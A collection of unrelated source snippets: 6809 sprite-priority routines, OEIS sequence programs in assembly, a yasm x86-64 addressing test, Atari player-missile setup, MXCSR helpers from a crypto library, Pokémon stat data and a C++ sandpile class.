#0 std buf_priority_prev_obj,x ; clear object prev and next link, it's the only object at this priority level std buf_priority_next_obj,x DSP_rts puls d,x,u,pc ; rts DSP_addToExistingNode ldx a,y ; x register now store last object at the priority level of current object ldb glb_Cur_Wrk_Screen_Id bne DSP_LinkBuffer1 stu rsv_priority_next_obj_0,x ; link last object with current object if active screen buffer 0 stx rsv_priority_prev_obj_0,u ; link current object with previous object clr rsv_priority_next_obj_0,u ; clear object next link clr rsv_priority_next_obj_0+1,u ; clear object next link bra DSP_LinkCurWithPrev DSP_LinkBuffer1 stu rsv_priority_next_obj_1,x ; link last object with current object if active screen buffer 1 stx rsv_priority_prev_obj_1,u ; link current object with previous object clr rsv_priority_next_obj_1,u ; clear object next link clr rsv_priority_next_obj_1+1,u ; clear object next link DSP_LinkCurWithPrev stu a,y ; update last object in index puls d,x,u,pc ; rts DSP_ChangePriority pshs d,y leay buf_Lst_Priority_Unset,y stu [,y] ; add current object address to last free unset list cell ldd ,y addd #2 std ,y ; set unset list free index to next free cell of unset list puls d,y ; get back DSP_buffer in y cmpa #0 bne DSP_CheckLastEntry ; priority is != 0, branch to add object to display priority list puls d,x,u,pc ; rts *; --------------------------------------------------------------------------- *; Subroutine to display a sprite/object, when a0 is the object RAM *; --------------------------------------------------------------------------- * *; ||||||||||||||| S U B R O U T I N E ||||||||||||||||||||||||||||||||||||||| * *; sub_164F4: *DisplaySprite: * lea (Sprite_Table_Input).w,a1 * move.w priority(a0),d0 * lsr.w #1,d0 * andi.w #$380,d0 * adda.w d0,a1 * cmpi.w #$7E,(a1) * bhs.s return_16510 * addq.w #2,(a1) * adda.w (a1),a1 * move.w a0,(a1) * *return_16510: * rts *; End of function DisplaySprite * --------------------------------------------------------------------------- * Display Priority Structure - DPS * --------------------------------------------------------------------------- DPS_buffer_0 Tbl_Priority_First_Entry_0 fill 0,2+(nb_priority_levels*2) ; first address of object in linked list for each priority index (buffer 0) index 0 unused Tbl_Priority_Last_Entry_0 fill 0,2+(nb_priority_levels*2) ; last address of object in linked list for each priority index (buffer 0) index 0 unused Lst_Priority_Unset_0 fdb Lst_Priority_Unset_0+2 ; pointer to end of list (initialized to its own address+2) (buffer 0) fill 0,(nb_graphical_objects*2) ; objects to delete from priority list DPS_buffer_1 Tbl_Priority_First_Entry_1 fill 0,2+(nb_priority_levels*2) ; first address of object in linked list for each priority index (buffer 1) index 0 unused Tbl_Priority_Last_Entry_1 fill 0,2+(nb_priority_levels*2) ; last address of object in linked list for each priority index (buffer 1) index 0 unused Lst_Priority_Unset_1 fdb Lst_Priority_Unset_1+2 ; pointer to end of list (initialized to its own address+2) (buffer 1) fill 0,(nb_graphical_objects*2) ; objects to delete from priority list DPS_buffer_end buf_Tbl_Priority_First_Entry equ 0 buf_Tbl_Priority_Last_Entry equ Tbl_Priority_Last_Entry_0-DPS_buffer_0 buf_Lst_Priority_Unset equ Lst_Priority_Unset_0-DPS_buffer_0
; A304513: a(n) = 57*2^(n-1) - 38 (n >= 1). ; 19,76,190,418,874,1786,3610,7258,14554,29146,58330,116698,233434,466906,933850,1867738,3735514,7471066,14942170,29884378,59768794,119537626,239075290,478150618,956301274,1912602586,3825205210,7650410458,15300820954,30601641946,61203283930,122406567898,244813135834,489626271706,979252543450,1958505086938,3917010173914,7834020347866,15668040695770,31336081391578,62672162783194,125344325566426,250688651132890,501377302265818,1002754604531674,2005509209063386,4011018418126810,8022036836253658,16044073672507354,32088147345014746,64176294690029530,128352589380059098,256705178760118234,513410357520236506,1026820715040473050,2053641430080946138,4107282860161892314,8214565720323784666,16429131440647569370,32858262881295138778,65716525762590277594,131433051525180555226,262866103050361110490,525732206100722221018,1051464412201444442074,2102928824402888884186,4205857648805777768410,8411715297611555536858,16823430595223111073754,33646861190446222147546,67293722380892444295130,134587444761784888590298,269174889523569777180634,538349779047139554361306,1076699558094279108722650,2153399116188558217445338,4306798232377116434890714,8613596464754232869781466,17227192929508465739562970,34454385859016931479125978,68908771718033862958251994,137817543436067725916504026,275635086872135451833008090,551270173744270903666016218,1102540347488541807332032474,2205080694977083614664064986,4410161389954167229328130010,8820322779908334458656260058,17640645559816668917312520154,35281291119633337834625040346,70562582239266675669250080730,141125164478533351338500161498,282250328957066702677000323034,564500657914133405354000646106,1129001315828266810708001292250,2258002631656533621416002584538,4516005263313067242832005169114,9032010526626134485664010338266,18064021053252268971328020676570,36128042106504537942656041353178 mov $1,2 pow $1,$0 sub $1,1 mul $1,57 add $1,19 mov $0,$1
; A170355: Number of reduced words of length n in Coxeter group on 10 generators S_i with relations (S_i)^2 = (S_i S_j)^43 = I. ; 1,10,90,810,7290,65610,590490,5314410,47829690,430467210,3874204890,34867844010,313810596090,2824295364810,25418658283290,228767924549610,2058911320946490,18530201888518410,166771816996665690 seq $0,3952 ; Expansion of g.f.: (1+x)/(1-9*x).
bits 64 val: default abs mov rax, val ; 32-bit imm mov rax, dword val ; 32-bit imm mov rax, qword val ; 64-bit imm mov rbx, val ; 32-bit imm mov rbx, dword val ; 32-bit imm mov rbx, qword val ; 64-bit imm mov rax, [val] ; 48 8b ... (32-bit disp) mov rax, [dword val] ; 48 8b ... (32-bit disp) mov rax, [qword val] ; 48 a1 ... (64-bit disp) a32 mov rax, [val] ; 67 48 a1 ... (32-bit disp) a32 mov rax, [dword val] ; 67 48 a1 ... (32-bit disp) a32 mov rax, [qword val] ; 67 48 a1 ... (32-bit disp) ; [this one is debatable on correctness, ; I chose in yasm to make a32 override] a64 mov rax, [val] ; 48 8b ... (32-bit disp) a64 mov rax, [dword val] ; 48 8b ... (32-bit disp) a64 mov rax, [qword val] ; 48 a1 ... (64-bit disp) mov rbx, [val] ; 48 8b ... (32-bit disp) mov rbx, [dword val] ; 48 8b ... (32-bit disp) ;mov rbx, [qword val] ; illegal (can't have 64-bit disp) a32 mov rbx, [val] ; 67 48 8b ... (32-bit disp) a32 mov rbx, [dword val] ; 67 48 8b ... (32-bit disp) ;a32 mov rbx, [qword val] ; illegal (can't have 64-bit disp) a64 mov rbx, [val] ; 48 8b ... (32-bit disp) a64 mov rbx, [dword val] ; 48 8b ... (32-bit disp) ;a64 mov rbx, [qword val] ; illegal (can't have 64-bit disp) default rel mov rax, val ; 32-bit imm mov rax, dword val ; 32-bit imm mov rax, qword val ; 64-bit imm mov rbx, val ; 32-bit imm mov rbx, dword val ; 32-bit imm mov rbx, qword val ; 64-bit imm mov rax, [val] ; 48 8b ... (32-bit disp, RIP-rel) mov rax, [dword val] ; 48 8b ... (32-bit disp, RIP-rel) mov rax, [qword val] ; 48 a1 ... (64-bit disp, ABS) a32 mov rax, [val] ; 67 48 8b ... (32-bit disp, RIP-rel) a32 mov rax, [dword val] ; 67 48 8b ... (32-bit disp, RIP-rel) a32 mov rax, [qword val] ; 67 48 a1 ... (32-bit disp, ABS) ; [this one is debatable on correctness, ; I chose in yasm to make a32 override] a64 mov rax, [val] ; 48 8b ... (32-bit disp, RIP-rel) a64 mov rax, [dword val] ; 48 8b ... (32-bit disp, RIP-rel) a64 mov rax, [qword val] ; 48 a1 ... (64-bit disp, ABS) mov rbx, [val] ; 48 8b ... (32-bit disp, RIP-rel) mov rbx, [dword val] ; 48 8b ... (32-bit disp, RIP-rel) ;mov rbx, [qword val] ; illegal (can't have 64-bit disp) a32 mov rbx, [val] ; 67 48 8b ... (32-bit disp, RIP-rel) a32 mov rbx, [dword val] ; 67 48 8b ... (32-bit disp, RIP-rel) ;a32 mov rbx, [qword val] ; illegal (can't have 64-bit disp) a64 mov rbx, [val] ; 48 8b ... (32-bit disp, RIP-rel) a64 mov rbx, [dword val] ; 48 8b ... (32-bit disp, RIP-rel) ;a64 mov rbx, [qword val] ; illegal (can't have 64-bit disp)
; A053307: Number of nonnegative integer 2 X 2 matrices with sum of elements equal to n, under row and column permutations. ; 1,1,4,5,11,14,24,30,45,55,76,91,119,140,176,204,249,285,340,385,451,506,584,650,741,819,924,1015,1135,1240,1376,1496,1649,1785,1956,2109,2299,2470,2680,2870,3101,3311,3564,3795,4071,4324,4624,4900,5225,5525,5876,6201,6579,6930,7336,7714,8149,8555,9020,9455,9951,10416,10944,11440,12001,12529,13124,13685,14315,14910,15576,16206,16909,17575,18316,19019,19799,20540,21360,22140,23001,23821,24724,25585,26531,27434,28424,29370,30405,31395,32476,33511,34639,35720,36896,38024,39249,40425,41700,42925,44251,45526,46904,48230,49661,51039,52524,53955,55495,56980,58576,60116,61769,63365,65076,66729,68499,70210,72040,73810,75701,77531,79484,81375,83391,85344,87424,89440,91585,93665,95876,98021,100299,102510,104856,107134,109549,111895,114380,116795,119351,121836,124464,127020,129721,132349,135124,137825,140675,143450,146376,149226,152229,155155,158236,161239,164399,167480,170720,173880,177201,180441,183844,187165,190651,194054,197624,201110,204765,208335,212076,215731,219559,223300,227216,231044,235049,238965,243060,247065,251251,255346,259624,263810,268181,272459,276924,281295,285855,290320,294976,299536,304289,308945,313796,318549,323499,328350,333400,338350,343501,348551,353804,358955,364311,369564,375024,380380,385945,391405,397076,402641,408419,414090,419976,425754,431749,437635,443740,449735,455951,462056,468384,474600,481041,487369,493924,500365,507035,513590,520376,527046,533949,540735,547756,554659,561799,568820,576080,583220,590601,597861,605364,612745,620371,627874,635624,643250,651125,658875 add $0,1 mov $2,1 lpb $0 sub $0,1 add $1,$2 add $2,2 add $2,$0 trn $0,1 add $3,2 sub $2,$3 lpe
;Initialize PMG PmgInit .PROC mva #>PMG_BUF PMBASE mva #%00000011 PMCNTL ;players + missiles mva #%00110001 GTICTL ;multicolor_player + fifth_player mva #%01010101 SIZEM ;quadruple size of missiles ;Erase PMG mwa #PMG_BUF scr ldx #8 @t ldy #0 @ lda #$0 sta (scr),y iny lda #$0 sta (scr),y iny bne @- inc scr+1 dex bne @t rts .ENDP
; Helper functions for setting and restoring the MxCsr register ; ; Author: Daan Sprenkels <hello@dsprenkels.com> global crypto_scalarmult_curve13318_ref12_replace_mxcsr global crypto_scalarmult_curve13318_ref12_restore_mxcsr crypto_scalarmult_curve13318_ref12_replace_mxcsr: stmxcsr dword [rsp-4] mov eax, dword [rsp-4] mov dword [rsp-4], 0x1f80 ldmxcsr dword [rsp-4] ret crypto_scalarmult_curve13318_ref12_restore_mxcsr: stmxcsr dword [rsp-4] ldmxcsr dword [rdi] mov eax, [rsp-4] and eax, 0xFFFFFFDF cmp eax, 0x1f80 sete al ret
db 0 ; species ID placeholder db 60, 75, 100, 50, 55, 80 ; hp atk def spd sat sdf db STEEL, PSYCHIC ; type db 3 ; catch rate db 153 ; base exp db NO_ITEM, METAL_COAT ; items db GENDER_UNKNOWN ; gender ratio db 40 ; step cycles to hatch INCBIN "gfx/pokemon/metang/front.dimensions" db GROWTH_SLOW ; growth rate dn EGG_MINERAL, EGG_MINERAL ; egg groups db 35 ; happiness ; tm/hm learnset tmhm TOXIC, HIDDEN_POWER, SUNNY_DAY, HYPER_BEAM, LIGHT_SCREEN, PROTECT, RAIN_DANCE, FRUSTRATION, EARTHQUAKE, RETURN, PSYCHIC_M, SHADOW_BALL, BRICK_BREAK, DOUBLE_TEAM, REFLECT, SLUDGE_BOMB, SANDSTORM, ROCK_TOMB, AERIAL_ACE, FACADE, SECRET_POWER, REST, ENDURE, EXPLOSION, ROCK_POLISH, FLASH, GYRO_BALL, STEALTH_ROCK, PSYCH_UP, ROCK_SLIDE, SLEEP_TALK, NATURAL_GIFT, GRASS_KNOT, SWAGGER, SUBSTITUTE, FLASH_CANNON, CUT, STRENGTH, ROCK_SMASH, FURY_CUTTER, ICE_PUNCH, ICY_WIND, IRON_DEFENSE, IRON_HEAD, MAGNET_RISE, MUD_SLAP, ROLLOUT, SIGNAL_BEAM, SNORE, SWIFT, THUNDERPUNCH, TRICK, ZEN_HEADBUTT ; end
// // Created by Thijs on 07/04/2019. // #include "SandPiles.h" namespace grid { void SandPiles::draw(unsigned char*&image) { for (auto &a : grid) { for (auto &gp : a) { if (gp->ints.empty()) return; int index = gp->thisX + gp->thisY * HEIGHT; switch (gp->ints[0]) { case 1: *(image + index * 4 + 0) = 255; break; case 2: *(image + index * 4 + 1) = 255; break; case 3: *(image + index * 4 + 2) = 255; break; default: break; } } }; } void SandPiles::update() { bool pilesFalling = true; while (pilesFalling) { pilesFalling = false; for (auto &a : grid) { for (auto &gp : a) { if (gp->ints.empty()) return; if (gp->ints[0] > 3) { gp->ints[0] -= 4; } } } } } Grid* SandPiles::copyGrid() { Grid* newGrid = new SandPiles(getGrid()); return newGrid; } }
; A097837: Chebyshev polynomials S(n,51) + S(n-1,51) with Diophantine property. ; Submitted by Jamie Morken(s4) ; 1,52,2651,135149,6889948,351252199,17906972201,912904330052,46540213860451,2372638002552949,120957997916339948,6166485255730784399,314369790044353664401,16026692807006306100052,817046963367277257438251,41653368438924133823250749,2123504743421763547728349948,108257088546071016800322596599,5518988011106200093268724076601,281360131477870133739904605310052,14343847717360270620641866146736051,731254873453895931518995268878228549,37279654698431332236848116846642919948 mov $2,2 mov $3,1 lpb $0 sub $0,1 mov $1,$3 mul $1,49 add $2,$1 add $3,$2 lpe mov $0,$3
; A211221: For any partition of n consider the product of the sigma of each element. Sequence gives the maximum of such values. ; 1,3,4,9,12,27,36,81,108,243,324,729,972,2187,2916,6561,8748,19683,26244,59049,78732,177147,236196,531441,708588,1594323,2125764,4782969,6377292,14348907,19131876,43046721,57395628,129140163,172186884,387420489,516560652 mov $2,$0 mov $3,1 mov $4,1 lpb $2 mov $0,$4 add $0,1 mul $0,3 sub $2,1 add $3,1 mov $4,$3 mov $3,$0 lpe mov $1,$0 div $1,3 add $1,1